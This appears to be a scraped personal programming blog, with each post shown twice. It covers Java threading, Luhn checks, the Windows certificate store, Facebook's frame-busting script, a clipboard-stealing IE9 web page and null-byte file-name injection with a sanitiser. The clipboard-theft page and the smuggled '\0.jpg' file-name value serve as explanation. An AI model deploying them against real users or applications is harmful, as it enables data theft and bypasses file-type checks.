Tweets by @pavan_sunny52
Getting IE 8 to Understand HTML5 How to make IE Browsers versions less than 8 use the following script at the top of the html page  <!—[if lt IE 9]> <script src=”//html5shiv.googlecode.com/svn/trunk/html5.js”></script> <![endif]—>

Getting IE 8 to Understand HTML5

How to make IE Browsers versions less than 8 use the following script at the top of the html page 

<!—[if lt IE 9]>

<script src=”//html5shiv.googlecode.com/svn/trunk/html5.js”></script>

<![endif]—>

Print Numbers Sequentially Using N Threads This is one of the interview questions i came across as part of preparation for the amazon interview. You are given a paragraph , which contain n number of words, you are given m threads. What you need to do is , each thread should print one word and give the control to next thread, this way each thread will keep on printing one word , in case last thread come, it should invoke the first thread. Printing will repeat until all the words are printed in paragraph. Finally all threads should exit gracefully. What kind of synchronization will use? First of all, this is an interview question the same scenario can be well performed without using threads. But answering this question tests how the interviewee is able to co-ordinate the threads, sharing the data between threads. And tests the understanding and knowledge towards concurrency. I have just slightly modified the problem instead of using words the m threads should print the numbers sequentially and following the same thread order specified in the problem. Let’s understand this problem first. When one thread is performing the job (either printing a word in the paragraph or printing a incremented number) all other (m - 1) threads should be in waiting. When thread i  performed its job thread i should wait and notify to thread (i +1)%m to do the job and so on. So, the vital part is after doing the job thread should wait and should notify the particular thread.  So, Let’s assume we have created a lock object and all the threads synchronizes on the same lock object. while(true) { synchronized(lock){ lock.notify(); doJob(); // Print the number lock.wait(); }   } This does the job of printing the numbers in sequential order but not in the thread order specified. The problem here is thread ordering so we need to implement in such a way that one thread should be able to control the next thread, at the same time it should wait after doing the job. So, I will create a lock object for each created thread. At the same time i will pass the lock object of the thread which i need to control. From the below code you can understand how it works public void run() { // Pass the Thread’s own lock and the lock of the thread which it needs to notify while(true) {  // Acquire the Current Object Lock synchronized (thisLock) { synchronized (nextLock) { nextLock.notify(); printIncrement(threadName); } try { thisLock.wait(); } catch (InterruptedException e) { e.printStackTrace(); } } } } The above program achieves stopping all other threads when it is executing and notifies its successor thread.But there is still a problem with this approach. The problem is when m threads are started at shot we don’t which one will get executed first. Because of the simultaneous start the above program got screwed (Even i felt the same for 1/2 hour while doing). We can fix this if the thread creation is in the following way. 1) Create all the m lock objects for the m threads 2) Create a Thread Object and start it and then pause the main thread until the created thread goes into wait mode 3) Proceed to 2 until m threads not created. So here’s the final program in java <div> public class PrintNThreads { public static void main(String[] args) { int n = 10; //Number of threads if(n < 2) return; Object[] lockObjects = new Object[n]; for(int i=0;i<n;i++) { lockObjects[i] = new Object(); } for(int i=0;i<n;i++) { NumberThread tempThread = new NumberThread(“Thread-“+(i+1), lockObjects[i], lockObjects[(i+1)%n]); tempThread.start(); // Don’t start the next thread untill the first thread is waiting. For the last thread we dont need to wait if(i != n-1) while(!tempThread.isFirstWaitComplete()); } } } class NumberThread extends Thread  { static volatile int i = 0;  static boolean printIncrement(String threadName) { // e.g. Print till 10000 numbers. if(i == 10000) return false; System.out.println(threadName+” “+(++i));  return true; } Object thisLock; Object nextLock; final String threadName; private boolean isFirstWaitComplete; public NumberThread(String threadName,Object thisLock, Object nextLock) { this.nextLock = nextLock; this.thisLock = thisLock; this.threadName = threadName; } public void run() { while(true) { synchronized (thisLock) { synchronized (nextLock) { nextLock.notify(); // I am just assuming this is sequence number print job. you can insert whatever you want. if(!printIncrement(threadName)) return; } try { isFirstWaitComplete = true; thisLock.wait(); } catch (InterruptedException e) { e.printStackTrace(); } } } } public synchronized boolean isFirstWaitComplete() { synchronized (thisLock) { return isFirstWaitComplete; } } } </div> Comments and Suggestions are most welcome.

Print Numbers Sequentially Using N Threads

This is one of the interview questions i came across as part of preparation for the amazon interview.

You are given a paragraph , which contain n number of words, you are given m threads. What you need to do is , each thread should print one word and give the control to next thread, this way each thread will keep on printing one word , in case last thread come, it should invoke the first thread. Printing will repeat until all the words are printed in paragraph. Finally all threads should exit gracefully. What kind of synchronization will use?

First of all, this is an interview question the same scenario can be well performed without using threads. But answering this question tests how the interviewee is able to co-ordinate the threads, sharing the data between threads. And tests the understanding and knowledge towards concurrency.

I have just slightly modified the problem instead of using words the m threads should print the numbers sequentially and following the same thread order specified in the problem.

Let’s understand this problem first. When one thread is performing the job (either printing a word in the paragraph or printing a incremented number) all other (m - 1) threads should be in waiting. When thread i  performed its job thread i should wait and notify to thread (i +1)%m to do the job and so on. So, the vital part is after doing the job thread should wait and should notify the particular thread. 

So, Let’s assume we have created a lock object and all the threads synchronizes on the same lock object.

while(true) {

synchronized(lock){

lock.notify();

doJob(); // Print the number

lock.wait();

}

  }

This does the job of printing the numbers in sequential order but not in the thread order specified. The problem here is thread ordering so we need to implement in such a way that one thread should be able to control the next thread, at the same time it should wait after doing the job.

So, I will create a lock object for each created thread. At the same time i will pass the lock object of the thread which i need to control. From the below code you can understand how it works

public void run()

{

// Pass the Thread’s own lock and the lock of the thread which it needs to notify

while(true) { 

// Acquire the Current Object Lock

synchronized (thisLock) {

synchronized (nextLock) {

nextLock.notify();

printIncrement(threadName);

}

try {

thisLock.wait();

} catch (InterruptedException e) {

e.printStackTrace();

}

}

}

}

The above program achieves stopping all other threads when it is executing and notifies its successor thread.But there is still a problem with this approach. The problem is when m threads are started at shot we don’t which one will get executed first. Because of the simultaneous start the above program got screwed (Even i felt the same for 1/2 hour while doing). We can fix this if the thread creation is in the following way.

1) Create all the m lock objects for the m threads

2) Create a Thread Object and start it and then pause the main thread until the created thread goes into wait mode

3) Proceed to 2 until m threads not created.

So here’s the final program in java

<div>

public class PrintNThreads {

public static void main(String[] args) {

int n = 10; //Number of threads

if(n < 2)

return;

Object[] lockObjects = new Object[n];

for(int i=0;i<n;i++)

{

lockObjects[i] = new Object();

}

for(int i=0;i<n;i++)

{

NumberThread tempThread = new NumberThread(“Thread-“+(i+1), lockObjects[i], lockObjects[(i+1)%n]);

tempThread.start();

// Don’t start the next thread untill the first thread is waiting. For the last thread we dont need to wait

if(i != n-1)

while(!tempThread.isFirstWaitComplete());

}

}

}

class NumberThread extends Thread 

{

static volatile int i = 0; 

static boolean printIncrement(String threadName)

{

// e.g. Print till 10000 numbers.

if(i == 10000)

return false;

System.out.println(threadName+” “+(++i)); 

return true;

}

Object thisLock;

Object nextLock;

final String threadName;

private boolean isFirstWaitComplete;

public NumberThread(String threadName,Object thisLock, Object nextLock) {

this.nextLock = nextLock;

this.thisLock = thisLock;

this.threadName = threadName;

}

public void run()

{

while(true) {

synchronized (thisLock) {

synchronized (nextLock) {

nextLock.notify();

// I am just assuming this is sequence number print job. you can insert whatever you want.

if(!printIncrement(threadName))

return;

}

try {

isFirstWaitComplete = true;

thisLock.wait();

} catch (InterruptedException e) {

e.printStackTrace();

}

}

}

}

public synchronized boolean isFirstWaitComplete() {

synchronized (thisLock) {

return isFirstWaitComplete;

}

}

}

</div>

Comments and Suggestions are most welcome.

Understanding Facebook’s Click jacking Script Today i have been assigned some work related to clickjacking (variant of CSRF). So after doing some finding i wanted to see how facebook is handling this. This is the clickjacking script facebook uses to protect their users. Here’s the script: //Facebook Clickjacking Script <script type=”text/javascript”> /*<![CDATA[*/ function si_cj(m){setTimeout(function(){new Image().src=”https:\/\/error.facebook.com\/common\/scribe_endpoint.php?c=si_clickjacking&t=4808”+”&m=”+m;},5000);} if(top!=self && !false){ try{ if(parent!=top) { throw 1; } var si_cj_d=[“apps.facebook.com”,”\/pages\/”,”apps.beta.facebook.com”]; var href=top.location.href.toLowerCase(); for(var i=0;i<si_cj_d.length;i++) { if (href.indexOf(si_cj_d[i])>=0){ throw 1; } } si_cj(“3 “); } catch(e) { si_cj(“1 \t”); window.document.write(“\u003Cstyle>body * {display:none !important;}\u003C\/style>\u003Ca href="#" onclick="top.location.href=window.location.href" style="display:block !important;padding:10px">\u003Ci class="img sp_10lbq6 sx_010383" style="display:block !important">\u003C\/i>Go to Facebook.com\u003C\/a>”);/*wRQIiXx-*/ } } /*]]>*/ </script> It checks whether facebook is loaded in the top most window or not. If it is not loaded in a top most window then inturn checks whether it is loaded in the immediate child window for the top most window. Even not then it checks the top most window location and if the url contains [“apps.facebook.com”,”\/pages\/”,”apps.beta.facebook.com”]; any of these values then we will be displayed a page saying Go to Facebook.com. By clicking this link it will be loaded into a new top most window. Here comes one Question: 1) when checking whether the facebook is loaded in child windows why it is only checking with the immediate parent only? A) accessing parent.location of underneath windows becomes a security violation in all popular browsers, due to the descendant frame navigation policy. In case on client side scripting is disabled and we did not want other websites to include it in a frame or iframe it follows the below approach <noscript><meta http-equiv=”X-Frame-Options” content=”deny” /></noscript> For more information on this X-Frame-Options refer mozilla js website

Understanding Facebook’s Click jacking Script

Today i have been assigned some work related to clickjacking (variant of CSRF). So after doing some finding i wanted to see how facebook is handling this. This is the clickjacking script facebook uses to protect their users.

Here’s the script:

//Facebook Clickjacking Script

<script type=”text/javascript”>

/*<![CDATA[*/

function si_cj(m){setTimeout(function(){new Image().src=”https:\/\/error.facebook.com\/common\/scribe_endpoint.php?c=si_clickjacking&t=4808”+”&m=”+m;},5000);}

if(top!=self && !false){

try{

if(parent!=top)

{

throw 1;

}

var si_cj_d=[“apps.facebook.com”,”\/pages\/”,”apps.beta.facebook.com”];

var href=top.location.href.toLowerCase();

for(var i=0;i<si_cj_d.length;i++)

{

if (href.indexOf(si_cj_d[i])>=0){

throw 1;

}

}

si_cj(“3 “);

}

catch(e)

{

si_cj(“1 \t”);

window.document.write(“\u003Cstyle>body * {display:none !important;}\u003C\/style>\u003Ca href="#" onclick="top.location.href=window.location.href" style="display:block !important;padding:10px">\u003Ci class="img sp_10lbq6 sx_010383" style="display:block !important">\u003C\/i>Go to Facebook.com\u003C\/a>”);/*wRQIiXx-*/

}

}

/*]]>*/

</script>

It checks whether facebook is loaded in the top most window or not. If it is not loaded in a top most window then inturn checks whether it is loaded in the immediate child window for the top most window. Even not then it checks the top most window location and if the url contains [“apps.facebook.com”,”\/pages\/”,”apps.beta.facebook.com”]; any of these values then we will be displayed a page saying Go to Facebook.com. By clicking this link it will be loaded into a new top most window.

Here comes one Question:

1) when checking whether the facebook is loaded in child windows why it is only checking with the immediate parent only?

A) accessing parent.location of underneath windows becomes a security violation in all popular browsers, due to the descendant frame navigation policy.

In case on client side scripting is disabled and we did not want other websites to include it in a frame or iframe it follows the below approach

<noscript><meta http-equiv=”X-Frame-Options” content=”deny” /></noscript>

For more information on this X-Frame-Options refer mozilla js website

Luhn Algorithm Implementation in Java Completely Got Bored today and when fiddling around just a thought clicked in my mind "Hey! do you know any thing about the credit card numbers like how they get generated etc etc". Okay, then replied myself "Okay then Let’s get it started!" While reading i came to know this algorithm and tried to implement it in java. You can know about this algorithm on Wiki Luhn Algorithm. Its not limited to credit card numbers you can apply it anywhere where it makes sense. I have created simple menu program also which you can play around and for test credit card numbers goto Paypal To grab the copy of source code (in Java) goto pavan’s github The Core One is LuhnAlgorithm.java The Menu Helper is LuhnAlgoMain.java For future updates fork me on github

Luhn Algorithm Implementation in Java

Completely Got Bored today and when fiddling around just a thought clicked in my mind

"Hey! do you know any thing about the credit card numbers like how they get generated etc etc".

Okay, then replied myself

"Okay then Let’s get it started!"

While reading i came to know this algorithm and tried to implement it in java. You can know about this algorithm on Wiki Luhn Algorithm. Its not limited to credit card numbers you can apply it anywhere where it makes sense.

I have created simple menu program also which you can play around and for test credit card numbers goto Paypal

To grab the copy of source code (in Java) goto pavan’s github

The Core One is LuhnAlgorithm.java

The Menu Helper is LuhnAlgoMain.java

For future updates fork me on github
Accessing Windows Crypto API Certificate/Key Store Got a requirement to add keys and certificates to windows operating system certificate store. Before reviewing the requirement i thought i need to use some windows OS COM API’s or batch scripts. But after completely investigating the java.security providers i came to know it is as easy as opening a keystore from a file. Open the java.security file located in <JRE_HOME>\lib\security\  and look for providers list. you will see a provider named sun.security.mscapi.SunMSCAPI (in windows) which handles windows certificate management.  I am posting some code samples which will give you some blurbs when you want to handle windows certificate store management related requirement. List the cryptographic services provided by the SunMSCAPI provider. Provider windowsProvider = Security.getProvider(“SunMSCAPI”); for(Provider.Service service : windowsProvider.getServices()){ System.out.println(service.getAlgorithm()); System.out.println(service.getClassName()); } In the output find the type of keystores supported by the provider. The supported keystore types are WINDOWS-ROOT (For opening trust store) WINDOWS-MY (for opening personal keystore) Now just open the key/trust store using the above keystore format type KeyStore store = KeyStore.getInstance(“WINDOWS-ROOT”,”SunMSCAPI”); store.load(null,null); Enumeration<String> aliases = store.aliases(); while(aliases.hasMoreElements()){ System.out.println(aliases.nextElement()); } The above program opens the windows truststore and all the certificates aliases. Once we know how to open this store we know how to play around with it

Accessing Windows Crypto API Certificate/Key Store

Got a requirement to add keys and certificates to windows operating system certificate store. Before reviewing the requirement i thought i need to use some windows OS COM API’s or batch scripts. But after completely investigating the java.security providers i came to know it is as easy as opening a keystore from a file.

Open the java.security file located in <JRE_HOME>\lib\security\  and look for providers list. you will see a provider named sun.security.mscapi.SunMSCAPI (in windows) which handles windows certificate management.  I am posting some code samples which will give you some blurbs when you want to handle windows certificate store management related requirement.

List the cryptographic services provided by the SunMSCAPI provider.

Provider windowsProvider = Security.getProvider(“SunMSCAPI”);

for(Provider.Service service : windowsProvider.getServices()){

System.out.println(service.getAlgorithm());

System.out.println(service.getClassName());

}

In the output find the type of keystores supported by the provider. The supported keystore types are

WINDOWS-ROOT (For opening trust store)

WINDOWS-MY (for opening personal keystore)

Now just open the key/trust store using the above keystore format type

KeyStore store = KeyStore.getInstance(“WINDOWS-ROOT”,”SunMSCAPI”);
store.load(null,null);
Enumeration<String> aliases = store.aliases();
while(aliases.hasMoreElements()){
System.out.println(aliases.nextElement());
}
The above program opens the windows truststore and all the certificates aliases. Once we know how to open this store we know how to play around with it
Accessing User’s Clipboard from a webpage The following Example demonstrates how to steal the user’s clipboard contents from a webpage. <body onload=”cutandpaste();”> <form name=f action=”“>   <input type=”submit” class=”button” name=”s”/>   <TEXTAREA rows=20 cols=30 maxlength=4000 name=clipb value=”a”></TEXTAREA> </form> <script>   function cutandpaste() {     document.f.clipb.createTextRange().execCommand(“SelectAll”);     document.f.clipb.createTextRange().execCommand(“Paste”);     //document.all.f.s.click();   } </script> </body> Then launched this web page having this script in IE 9 (the latest version of IE) IE prompts to allow add-ons (Poor user’s any way clicks this button) now attacker can gets the data can make some ajax call and steal the data or on the fly loads a image by appending this cookie data to the image URL. (If any of your valuable data is in clipboard uffff….. gone). upon that once you allow add-ons it will be remembered for that website untill you close that window. I have Executed the same script in Firefox and Chrome but they are not vunlerable to this. That’s why IE Sucks. Never believe your browser. 

Accessing User’s Clipboard from a webpage

The following Example demonstrates how to steal the user’s clipboard contents from a webpage.

<body onload=”cutandpaste();”>

<form name=f action=”“>

  <input type=”submit” class=”button” name=”s”/>

  <TEXTAREA rows=20 cols=30 maxlength=4000 name=clipb value=”a”></TEXTAREA>

</form>

<script>

  function cutandpaste() {

    document.f.clipb.createTextRange().execCommand(“SelectAll”);

    document.f.clipb.createTextRange().execCommand(“Paste”);

    //document.all.f.s.click();

  }

</script>

</body>

Then launched this web page having this script in IE 9 (the latest version of IE)

IE prompts to allow add-ons (Poor user’s any way clicks this button) now attacker can gets the data can make some ajax call and steal the data or on the fly loads a image by appending this cookie data to the image URL. (If any of your valuable data is in clipboard uffff….. gone). upon that once you allow add-ons it will be remembered for that website untill you close that window.

I have pasted the clipboard into text field

I have Executed the same script in Firefox and Chrome but they are not vunlerable to this. That’s why IE Sucks.

Never believe your browser. 

Null Byte Injection in Java Way back, when you started your programming in c language we read about character array which is a string. All strings in c language ends with a NULL character or NULL Byte. It determines the length of the string by the first position of null byte from the start of the string. Programming languages like java which is managed code the length of the string is stored in another record. If we try the following program in Java  String sample = “sample.txt\0.sig”;  System.out.println(sample.length); It prints 15 because the java strings are made of character array which will contain null bytes so it separately maintains length record. On other hand Java file libraries uses native code libraries for file manipulation tasks. When we pass the path string to these libraries the text till the null byte only will be considered. Try this Example try this code package com.hacking.attack.nullbyte; import java.io.BufferedWriter; import java.io.File; import java.io.FileOutputStream; import java.io.IOException; import java.io.OutputStreamWriter; public class RemoveSample { /** * @param args * @throws IOException  */ public static void main(String[] args) throws IOException {        /*                * In Web Applications the string will be formed using                * request parameters. request.getParameter(“filename”)+”.jpg”;                */ String sampleString = “C:\sample1.txt\0.jpg”; System.out.println(sampleString.length()); File file = new File(sampleString); BufferedWriter writer = new BufferedWriter(new OutputStreamWriter(new FileOutputStream(file))); writer.write(“This is a text File”); writer.write(“But i Thought it is a JPG Image File”); writer.newLine(); writer.flush(); writer.close(); System.out.println(“File Writing is Done”); } } So be sure to validate the null bytes before passing it to the file libraries in java. I have written a simple validator   private static String nullSafeString(String sampleString) { if (sampleString.contains(“\0”)) { char[] characters = sampleString.toCharArray(); StringBuffer nullSafe = new StringBuffer(); for (int i = 0; i < characters.length; i++) { if(characters[i] != ‘\0’) nullSafe.append(characters[i]); } return nullSafe.toString(); } return sampleString; }

Null Byte Injection in Java

Way back, when you started your programming in c language we read about character array which is a string. All strings in c language ends with a NULL character or NULL Byte. It determines the length of the string by the first position of null byte from the start of the string. Programming languages like java which is managed code the length of the string is stored in another record.

If we try the following program in Java 

String sample = “sample.txt\0.sig”; 

System.out.println(sample.length);

It prints 15 because the java strings are made of character array which will contain null bytes so it separately maintains length record. On other hand Java file libraries uses native code libraries for file manipulation tasks. When we pass the path string to these libraries the text till the null byte only will be considered. Try this Example

try this code

package com.hacking.attack.nullbyte;

import java.io.BufferedWriter;

import java.io.File;

import java.io.FileOutputStream;

import java.io.IOException;

import java.io.OutputStreamWriter;

public class RemoveSample {

/**

* @param args

* @throws IOException 

*/

public static void main(String[] args) throws IOException {

       /*

               * In Web Applications the string will be formed using

               * request parameters. request.getParameter(“filename”)+”.jpg”;

               */

String sampleString = “C:\sample1.txt\0.jpg”;

System.out.println(sampleString.length());

File file = new File(sampleString);

BufferedWriter writer = new BufferedWriter(new OutputStreamWriter(new FileOutputStream(file)));

writer.write(“This is a text File”);

writer.write(“But i Thought it is a JPG Image File”);

writer.newLine();

writer.flush();

writer.close();

System.out.println(“File Writing is Done”);

}

}

So be sure to validate the null bytes before passing it to the file libraries in java. I have written a simple validator
 
private static String nullSafeString(String sampleString) {
if (sampleString.contains(“\0”)) {
char[] characters = sampleString.toCharArray();
StringBuffer nullSafe = new StringBuffer();
for (int i = 0; i < characters.length; i++) {
if(characters[i] != ‘\0’)
nullSafe.append(characters[i]);
}
return nullSafe.toString();
}
return sampleString;
}